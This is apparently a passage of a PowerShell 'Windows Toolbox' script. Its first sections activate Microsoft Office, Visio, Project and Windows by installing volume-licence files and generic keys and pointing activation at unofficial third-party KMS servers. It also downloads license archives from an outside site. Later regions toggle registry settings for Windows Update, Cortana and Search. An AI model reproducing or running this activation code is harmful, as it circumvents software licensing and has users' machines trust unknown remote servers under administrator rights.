cmd.exe /c "(for /f %x in ('dir /b ..\root\Licenses16\proplusvl_mak*.xrm-ms') do cscript //b ospp.vbs /inslic:'..\root\Licenses16\%x') 2>nul" | |
Write-Host ">> Activating Office" | |
$hiden = "" | |
$hiden = cscript //nologo ospp.vbs /setprt:1688 | |
$hiden = cscript //nologo ospp.vbs /unpkey:WFG99 | |
$hiden = cscript //nologo ospp.vbs /unpkey:DRTFM | |
$hiden = cscript //nologo ospp.vbs /unpkey:BTDRB | |
$hiden = cscript //nologo ospp.vbs /unpkey:CPQVG | |
$hiden = cscript //nologo ospp.vbs /inpkey:XQNVK-8JYDB-WJ9W3-YJ8YR-WFG99 | |
$hiden = cscript //nologo ospp.vbs /sethst:kms8.MSGuides.com | |
$hiden = cscript //nologo ospp.vbs /act | |
if($hiden -match "successful"){ | |
Write-Host @" | |
Microsoft Office has been Activated successfully | |
"@ -ForegroundColor green ; Break | |
} | |
Write-Host ">> Fail...! trying Other Options" | |
Set-Location C:\Windows\system32 | |
if (Test-Path "$Env:ProgramFiles\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles\Microsoft Office\Office16"} | |
if (Test-Path "$Env:ProgramFiles(x86)\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles(x86)\Microsoft Office\Office16"} | |
Write-Host @" | |
>> Please wait... | |
"@ | |
cmd.exe /c "(for /f %x in ('dir /b ..\root\Licenses16\ProPlus2019VL*.xrm-ms') do cscript //b ospp.vbs /inslic:'..\root\Licenses16\%x') 2>nul" | |
Write-Host ">> Activating Office" | |
$hiden = "" | |
$hiden = cscript //nologo slmgr.vbs /ckms | |
$hiden = cscript //nologo ospp.vbs /setprt:1688 | |
$hiden = cscript //nologo ospp.vbs /unpkey:6MWKP | |
$hiden = cscript //nologo ospp.vbs /inpkey:NMMKJ-6RK4F-KMJVX-8D9MJ-6MWKP | |
$hiden = cscript //nologo ospp.vbs /sethst:kms8.MSGuides.com | |
$hiden = cscript //nologo ospp.vbs /act | |
if($hiden -match "successful"){ | |
Write-Host @" | |
Microsoft Office has been Activated successfully | |
"@ -ForegroundColor green ; Break | |
} | |
Write-Host ">> Fail...! trying Other Options" | |
Set-Location C:\Windows\system32 | |
if (Test-Path "$Env:ProgramFiles\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles\Microsoft Office\Office16"} | |
if (Test-Path "$Env:ProgramFiles(x86)\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles(x86)\Microsoft Office\Office16"} | |
Write-Host @" | |
>> Please wait... | |
"@ | |
cmd.exe /c "(for /f %x in ('dir /b ..\root\Licenses16\proplusvl_kms*.xrm-ms') do cscript //b ospp.vbs /inslic:'..\root\Licenses16\%x') 2>nul" | |
cmd.exe /c "(for /f %x in ('dir /b ..\root\Licenses16\proplusvl_mak*.xrm-ms') do cscript //b ospp.vbs /inslic:'..\root\Licenses16\%x') 2>nul" | |
Write-Host ">> Activating Office" | |
$hiden = "" | |
$hiden = cscript //nologo slmgr.vbs /ckms | |
$hiden = cscript //nologo ospp.vbs /setprt:1688 | |
$hiden = cscript //nologo ospp.vbs /unpkey:WFG99 | |
$hiden = cscript //nologo ospp.vbs /unpkey:DRTFM | |
$hiden = cscript //nologo ospp.vbs /unpkey:BTDRB | |
$hiden = cscript //nologo ospp.vbs /inpkey:XQNVK-8JYDB-WJ9W3-YJ8YR-WFG99 | |
$hiden = cscript //nologo ospp.vbs /sethst:kms8.MSGuides.com | |
$hiden = cscript //nologo ospp.vbs /act | |
if($hiden -match "successful"){ | |
Write-Host @" | |
Microsoft Office has been Activated successfully | |
"@ -ForegroundColor green ; Break | |
} | |
Write-Host ">> Fail...! trying Other Options" | |
Set-Location C:\Windows\system32 | |
if (Test-Path "$Env:ProgramFiles\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles\Microsoft Office\Office16"} | |
if (Test-Path "$Env:ProgramFiles(x86)\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles(x86)\Microsoft Office\Office16"} | |
Write-Host @" | |
>> Please wait... | |
"@ | |
$hiden = "" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\ProjectProVL_KMS_Client-ppd.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\ProjectProVL_KMS_Client-ul-oob.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\ProjectProVL_KMS_Client-ul.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\client-issuance-bridge-office.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\client-issuance-root.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\client-issuance-root-bridge-test.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\client-issuance-stil.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\client-issuance-ul.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\client-issuance-ul-oob.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\pkeyconfig-office.xrm-ms" | |
Write-Host ">> Activating MS Visio" | |
$hiden = cscript //nologo slmgr.vbs /ckms | |
$hiden = cscript //nologo ospp.vbs /setprt:1688 | |
$hiden = cscript //nologo ospp.vbs /unpkey:KQBVC | |
$hiden = cscript //nologo ospp.vbs /unpkey:G83KT | |
$hiden = cscript //nologo ospp.vbs /inpkey:YG9NW-3K39V-2T3HJ-93F3Q-G83KT | |
$hiden = cscript //nologo ospp.vbs /sethst:kms8.MSGuides.com | |
$hiden = cscript //nologo ospp.vbs /act | |
if($hiden -match "successful"){ | |
Write-Host @" | |
Microsoft Visio has been Activated successfully | |
"@ -ForegroundColor green ; Break | |
}else{ | |
Write-Host @" | |
>> Fail...! trying different Server... | |
"@ | |
Set-Location C:\Windows\system32 | |
if (Test-Path "$Env:ProgramFiles\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles\Microsoft Office\Office16"} | |
if (Test-Path "$Env:ProgramFiles(x86)\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles(x86)\Microsoft Office\Office16"} | |
cmd.exe /c "(for /f %x in ('dir /b ..\root\Licenses16\client-issuance*.xrm-ms') do cscript //b ospp.vbs /inslic:'..\root\Licenses16\%x') 2>nul" | |
cmd.exe /c "(for /f %x in ('dir /b ..\root\Licenses16\projectprovl_kms*.xrm-ms') do cscript //b ospp.vbs /inslic:'..\root\Licenses16\%x') 2>nul" | |
cmd.exe /c "(for /f %x in ('dir /b ..\root\Licenses16\projectpro2019vl_kms*.xrm-ms') do cscript //b ospp.vbs /inslic:'..\root\Licenses16\%x') 2>nul" | |
Write-Host ">> Activating MS Visio" | |
$hiden = "" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\pkeyconfig-office.xrm-ms" | |
$hiden = cscript //nologo slmgr.vbs /ckms | |
$hiden = cscript //nologo ospp.vbs /setprt:1688 | |
$hiden = cscript //nologo ospp.vbs /unpkey:PKD2B | |
$hiden = cscript //nologo ospp.vbs /inpkey:B4NPR-3FKK7-T2MBV-FRQ4W-PKD2B | |
$hiden = cscript //nologo ospp.vbs /sethst:kms8.MSGuides.com | |
$hiden = cscript //nologo ospp.vbs /act | |
if($hiden -match "successful"){ | |
Write-Host @" | |
Microsoft Visio has been Activated successfully | |
"@ -ForegroundColor green ; $Formmini.WindowState = 0 ; Break | |
} | |
} | |
Write-Host ">> Fail...! trying Other Options" | |
Set-Location C:\Windows\system32 | |
if (Test-Path "$Env:ProgramFiles\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles\Microsoft Office\Office16"} | |
if (Test-Path "$Env:ProgramFiles(x86)\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles(x86)\Microsoft Office\Office16"} | |
Write-Host @" | |
>> Please wait... | |
"@ | |
$hiden = "" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\ProjectProVL_KMS_Client-ppd.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\ProjectProVL_KMS_Client-ul-oob.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\ProjectProVL_KMS_Client-ul.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\client-issuance-bridge-office.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\client-issuance-root.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\client-issuance-root-bridge-test.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\client-issuance-stil.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\client-issuance-ul.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\client-issuance-ul-oob.xrm-ms" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\pkeyconfig-office.xrm-ms" | |
Write-Host ">> Activating MS Project" | |
$hiden = "" | |
$hiden = cscript //nologo slmgr.vbs /ckms | |
$hiden = cscript //nologo ospp.vbs /setprt:1688 | |
$hiden = cscript //nologo ospp.vbs /unpkey:KQBVC | |
$hiden = cscript //nologo ospp.vbs /unpkey:G83KT | |
$hiden = cscript //nologo ospp.vbs /inpkey:YG9NW-3K39V-2T3HJ-93F3Q-G83KT | |
$hiden = cscript //nologo ospp.vbs /sethst:kms8.MSGuides.com | |
$hiden = cscript //nologo ospp.vbs /act | |
if($hiden -match "successful"){ | |
Write-Host @" | |
Microsoft Project has been Activated successfully | |
"@ -ForegroundColor green ; Break | |
}else{ | |
Write-Host @" | |
>> Fail...! trying different Server... | |
"@ | |
Set-Location C:\Windows\system32 | |
if (Test-Path "$Env:ProgramFiles\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles\Microsoft Office\Office16"} | |
if (Test-Path "$Env:ProgramFiles(x86)\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles(x86)\Microsoft Office\Office16"} | |
cmd.exe /c "(for /f %x in ('dir /b ..\root\Licenses16\client-issuance*.xrm-ms') do cscript //b ospp.vbs /inslic:'..\root\Licenses16\%x') 2>nul" | |
cmd.exe /c "(for /f %x in ('dir /b ..\root\Licenses16\projectprovl_kms*.xrm-ms') do cscript //b ospp.vbs /inslic:'..\root\Licenses16\%x') 2>nul" | |
cmd.exe /c "(for /f %x in ('dir /b ..\root\Licenses16\projectpro2019vl_kms*.xrm-ms') do cscript //b ospp.vbs /inslic:'..\root\Licenses16\%x') 2>nul" | |
Write-Host ">> Activating MS Project" | |
$hiden = "" | |
$hiden = cscript //b ospp.vbs /inslic:"..\root\Licenses16\pkeyconfig-office.xrm-ms" | |
$hiden = cscript //nologo slmgr.vbs /ckms | |
$hiden = cscript //nologo ospp.vbs /setprt:1688 | |
$hiden = cscript //nologo ospp.vbs /unpkey:PKD2B | |
$hiden = cscript //nologo ospp.vbs /inpkey:B4NPR-3FKK7-T2MBV-FRQ4W-PKD2B | |
$hiden = cscript //nologo ospp.vbs /sethst:kms8.MSGuides.com | |
$hiden = cscript //nologo ospp.vbs /act | |
if($hiden -match "successful"){ | |
Write-Host @" | |
Microsoft Project has been Activated successfully | |
"@ -ForegroundColor green ; Break | |
} | |
} | |
Write-Host ">> Fail...! trying Other Options" | |
Set-Location C:\Windows\system32 | |
if (Test-Path "$Env:ProgramFiles\Microsoft Office\Office15\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles\Microsoft Office\Office15"} | |
if (Test-Path "$Env:ProgramFiles(x86)\Microsoft Office\Office15\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles(x86)\Microsoft Office\Office15"} | |
if (Test-Path "$Env:ProgramFiles\Microsoft Office\Office14\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles\Microsoft Office\Office14"} | |
if (Test-Path "$Env:ProgramFiles(x86)\Microsoft Office\Office14\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles(x86)\Microsoft Office\Office14"} | |
Write-Host @" | |
>> Please wait... | |
"@ | |
Import-Module BitsTransfer | |
$ProgressPreference = "SilentlyContinue" | |
$ProgressPreference = "SilentlyContinue" | |
$ProgressPreference = "SilentlyContinue" | |
Start-BitsTransfer -Source "https://get.msguides.com/office2010/Office_2010_Library.zip" -Destination "$env:TEMP" | |
Start-BitsTransfer -Source "https://get.msguides.com/office2013/Office_2013_Library.zip" -Destination "$env:TEMP" | |
Expand-Archive "$env:TEMP\Office_2010_Library.zip" -DestinationPath "C:\" -Force | |
Expand-Archive "$env:TEMP\Office_2013_Library.zip" -DestinationPath "C:\" -Force | |
del "$env:TEMP\Office_2010_Library.zip" | |
del "$env:TEMP\Office_2013_Library.zip" | |
$files = Get-ChildItem -Path C:\library -name | |
foreach($i in 1..7){ | |
$hiden = cscript //b ospp.vbs /inslic:$files[$i] | |
} | |
Remove-Item C:\library -Recurse -Force | |
$ProgressPreference = "Continue" | |
Write-Host ">> Activating Office" | |
$hiden = "" | |
$hiden = cscript //nologo ospp.vbs /inpkey:VYBBJ-TRJPB-QFQRF-QFT4D-H3GVB | |
$hiden = cscript //nologo ospp.vbs /inpkey:YC7DK-G2NP3-2QQC3-J6H88-GVGXT | |
$hiden = cscript //nologo ospp.vbs /sethst:kms8.msguides.com | |
$hiden = cscript //nologo ospp.vbs /setprt:1688 | |
$hiden = cscript //nologo ospp.vbs /act | |
if($hiden -match "successful"){ | |
Write-Host @" | |
Microsoft Office has been Activated successfully | |
"@ -ForegroundColor green ; Break | |
} | |
Write-Host @" | |
Microsoft Office/visio/Project didn't Activate | |
- Make sure that office is installed in "C" drive | |
- Run Windows Toolbox with Administrative rights | |
- Make sure that you're connected to the internet | |
- Make sure that Window Script Host(WSH) is enabled | |
- Try again later "Microsoft(KMS) server can be busy" | |
"@ -ForegroundColor red | |
Break | |
} | |
$formWindowsToolbox.WindowState = 0 | |
#endregion buttonActivateMSOffice | |
#region buttonActivateWindow | |
$formWindowsToolbox.WindowState = 1 | |
$Sysdir = [System.Environment]::SystemDirectory | |
$hiden = Set-Location -Path $Sysdir -PassThru | |
Write-Host @" | |
>> Please wait... | |
"@ | |
$initreturn = cscript //nologo slmgr.vbs /ckms | |
$initreturn = cscript //nologo slmgr.vbs /upk | |
$initreturn = cscript //nologo slmgr.vbs /cpky | |
$initreturn = "" | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk NPPR9-FWDCX-D2C8J-H872K-2YT43} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk WNMTR-4C88C-JK8YV-HQ7T2-76DF9} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk 2F77B-TNFGY-69QQF-B8YKP-D69TJ} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk QFFDN-GRT3P-VKWWX-X7T3R-8B639} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk TX9XD-98N7V-6WMQ6-BX7FG-H8Q99} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk 3KHY7-WNT83-DGQKR-F7HPR-844BM} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk 7HNRX-D7KGG-3K4RQ-4WPJ4-YTDFH} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk PVMJN-6DFY6-9CCP6-7BKTT-D3WVR} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk NW6C2-QMPVW-D7KKK-3GKT6-VCFB2} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk MH37W-N47XK-V7XM9-C7227-GCQG9} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk MHF9N-XY6XB-WVXMC-BTDCT-MKKG7} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk TT4HM-HN7YT-62K67-RGRQJ-JFFXW} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk 32JNW-9KQ84-P47T8-D8GGY-CWCK7} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk JMNMF-RHW7P-DMY6X-RF3DR-X2BQT} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk GCRJD-8NW9H-F2CDX-CCM8D-9D6T9} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk HMCNV-VVBFX-7HMBH-CTY9B-B4FXY} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk NG4HW-VH26C-733KW-K6F98-J8CK4} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk XCVCF-2NXM9-723PB-MHCB7-2RYQQ} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk BN3D2-R7TKB-3YPBD-8DRP2-27GG4} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk GNBB8-YVD74-QJHX6-27H4K-8QHDG} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk M9Q9P-WNJJT-6PXPY-DWX8H-6XWKK} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk 7B9N3-D94CG-YTVHR-QBPX3-RJP64} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk BB6NG-PQ82V-VRDPW-8XVD2-V8P66} | |
if ($initreturn -notmatch "successfully"){$initreturn = cscript //nologo slmgr.vbs /ipk 789NJ-TQK6T-6XTH8-J39CJ-J8D3P} | |
Write-Host @" | |
>> Activating Windows | |
"@ | |
For () { | |
$initreturn = cscript //nologo slmgr.vbs /skms s8.uk.to | |
if ($initreturn -match "successfully"){$initreturn = cscript //nologo slmgr.vbs /ato ; if($initreturn -match "successfully"){write-host $initreturn[0] -ForegroundColor green ; write-host $initreturn[1] -ForegroundColor green ; Break}} | |
$initreturn = cscript //nologo slmgr.vbs /skms s9.uk.to | |
if ($initreturn -match "successfully"){$initreturn = cscript //nologo slmgr.vbs /ato ; if($initreturn -match "successfully"){write-host $initreturn[0] -ForegroundColor green ; write-host $initreturn[1] -ForegroundColor green ; Break}} | |
$initreturn = cscript //nologo slmgr.vbs /skms kms7.MSGuides.com | |
if ($initreturn -match "successfully"){$initreturn = cscript //nologo slmgr.vbs /ato ; if($initreturn -match "successfully"){write-host $initreturn[0] -ForegroundColor green ; write-host $initreturn[1] -ForegroundColor green ; Break}} | |
Write-Host @" | |
Microsoft Key Management Service(KMS) didn't able to activate your window. | |
- Run Windows Toolbox with Administrative rights | |
- Make sure that you're connected to the internet | |
- Make sure that Window Script Host(WSH) is enabled | |
- Try again later "Microsoft(KMS) server can be busy" | |
"@ -ForegroundColor red | |
Break | |
} | |
$formWindowsToolbox.WindowState = 0 | |
#endregion buttonActivateWindow | |
#region buttonDefaultSetting | |
Write-Host "" | |
Write-Host "Enabling driver offering through Windows Update..." | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Device Metadata" -Name "PreventDeviceMetadataFromNetwork" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DriverSearching" -Name "DontPromptForWindowsUpdate" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DriverSearching" -Name "DontSearchWindowsUpdate" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DriverSearching" -Name "DriverUpdateWizardWuSearchEnabled" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" -Name "ExcludeWUDriversInQualityUpdate" -ErrorAction SilentlyContinue | |
Write-Host "Enabling Windows Update automatic restart..." | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name "NoAutoRebootWithLoggedOnUsers" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name "AUPowerManagement" -ErrorAction SilentlyContinue | |
Write-Host "Enabled driver offering through Windows Update" | |
#endregion buttonDefaultSetting | |
#region buttonSecurityUpdateOnly | |
Write-Host "" | |
Write-Host "Disabling driver offering through Windows Update..." | |
If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Device Metadata")) { | |
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Device Metadata" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Device Metadata" -Name "PreventDeviceMetadataFromNetwork" -Type DWord -Value 1 | |
If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DriverSearching")) { | |
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DriverSearching" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DriverSearching" -Name "DontPromptForWindowsUpdate" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DriverSearching" -Name "DontSearchWindowsUpdate" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DriverSearching" -Name "DriverUpdateWizardWuSearchEnabled" -Type DWord -Value 0 | |
If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate")) { | |
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" | Out-Null | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" -Name "ExcludeWUDriversInQualityUpdate" -Type DWord -Value 1 | |
Write-Host "Disabling Windows Update automatic restart..." | |
If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU")) { | |
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name "NoAutoRebootWithLoggedOnUsers" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name "AUPowerManagement" -Type DWord -Value 0 | |
Write-Host "Disabled driver offering through Windows Update" | |
#endregion buttonSecurityUpdateOnly | |
#///////////////////////////////////////////#///////////////////////////////////////////#///////////////////////////////////////////#/////////////////////////////////////////// | |
#region buttonenableCortana | |
Write-Host "`nEnabling Cortana..." | |
Remove-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Personalization\Settings" -Name "AcceptedPrivacyPolicy" -ErrorAction SilentlyContinue | |
If (!(Test-Path "HKCU:\SOFTWARE\Microsoft\InputPersonalization\TrainedDataStore")) { | |
New-Item -Path "HKCU:\SOFTWARE\Microsoft\InputPersonalization\TrainedDataStore" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\InputPersonalization" -Name "RestrictImplicitTextCollection" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\InputPersonalization" -Name "RestrictImplicitInkCollection" -Type DWord -Value 0 | |
Remove-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\InputPersonalization\TrainedDataStore" -Name "HarvestContacts" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Windows Search" -Name "AllowCortana" -ErrorAction SilentlyContinue | |
Write-Host "Done - Reverted to Stock Settings" | |
#endregion buttonenableCortana | |
#region buttondisableCortana | |
Write-Host "`nDisabling Cortana..." | |
If (!(Test-Path "HKCU:\SOFTWARE\Microsoft\Personalization\Settings")) { | |
New-Item -Path "HKCU:\SOFTWARE\Microsoft\Personalization\Settings" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Personalization\Settings" -Name "AcceptedPrivacyPolicy" -Type DWord -Value 0 | |
If (!(Test-Path "HKCU:\SOFTWARE\Microsoft\InputPersonalization")) { | |
New-Item -Path "HKCU:\SOFTWARE\Microsoft\InputPersonalization" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\InputPersonalization" -Name "RestrictImplicitTextCollection" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\InputPersonalization" -Name "RestrictImplicitInkCollection" -Type DWord -Value 1 | |
If (!(Test-Path "HKCU:\SOFTWARE\Microsoft\InputPersonalization\TrainedDataStore")) { | |
New-Item -Path "HKCU:\SOFTWARE\Microsoft\InputPersonalization\TrainedDataStore" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\InputPersonalization\TrainedDataStore" -Name "HarvestContacts" -Type DWord -Value 0 | |
If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Windows Search")) { | |
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Windows Search" -Force | Out-Null | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Windows Search" -Name "AllowCortana" -Type DWord -Value 0 | |
Write-Host "Cortana has been disabled" -ForegroundColor green | |
#endregion buttondisableCortana | |
#region buttonenableActionCenter | |
Write-Host "`nEnabling Action Center..." | |
Remove-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Explorer" -Name "DisableNotificationCenter" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" -Name "ToastEnabled" -ErrorAction SilentlyContinue | |
Write-Host "Done - Reverted to Stock Settings" | |
#endregion buttonenableActionCenter | |
#region buttondisableActionCenter | |
Write-Host "`nDisabling Action Center..." | |
If (!(Test-Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Explorer")) { | |
New-Item -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Explorer" | Out-Null | |
} | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Explorer" -Name "DisableNotificationCenter" -Type DWord -Value 1 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" -Name "ToastEnabled" -Type DWord -Value 0 | |
Write-Host "Action Center has been disabled" -ForegroundColor green | |
#endregion buttondisableActionCenter | |
#region buttonenableWindowsSearch | |
Write-Host "`nRestoring Windows Search..." | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" -Name "BingSearchEnabled" -Type DWord -Value "1" | |
Remove-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" -Name "CortanaConsent" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Windows Search" -Name "DisableWebSearch" -ErrorAction SilentlyContinue | |
Write-Host "Restore and Starting Windows Search Service..." | |
Set-Service "WSearch" -StartupType Automatic | |
Start-Service "WSearch" -WarningAction SilentlyContinue | |
Write-Host "Restore Windows Search Icon..." | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" -Name "SearchboxTaskbarMode" -Type DWord -Value 1 | |
Write-Host "Done - Reverted to Stock Settings" | |
#endregion buttonenableWindowsSearch | |
#region buttondisableWindowsSearch | |
Write-Host "`nDisabling Bing Search in Start Menu..." | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" -Name "BingSearchEnabled" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" -Name "CortanaConsent" -Type DWord -Value 0 | |
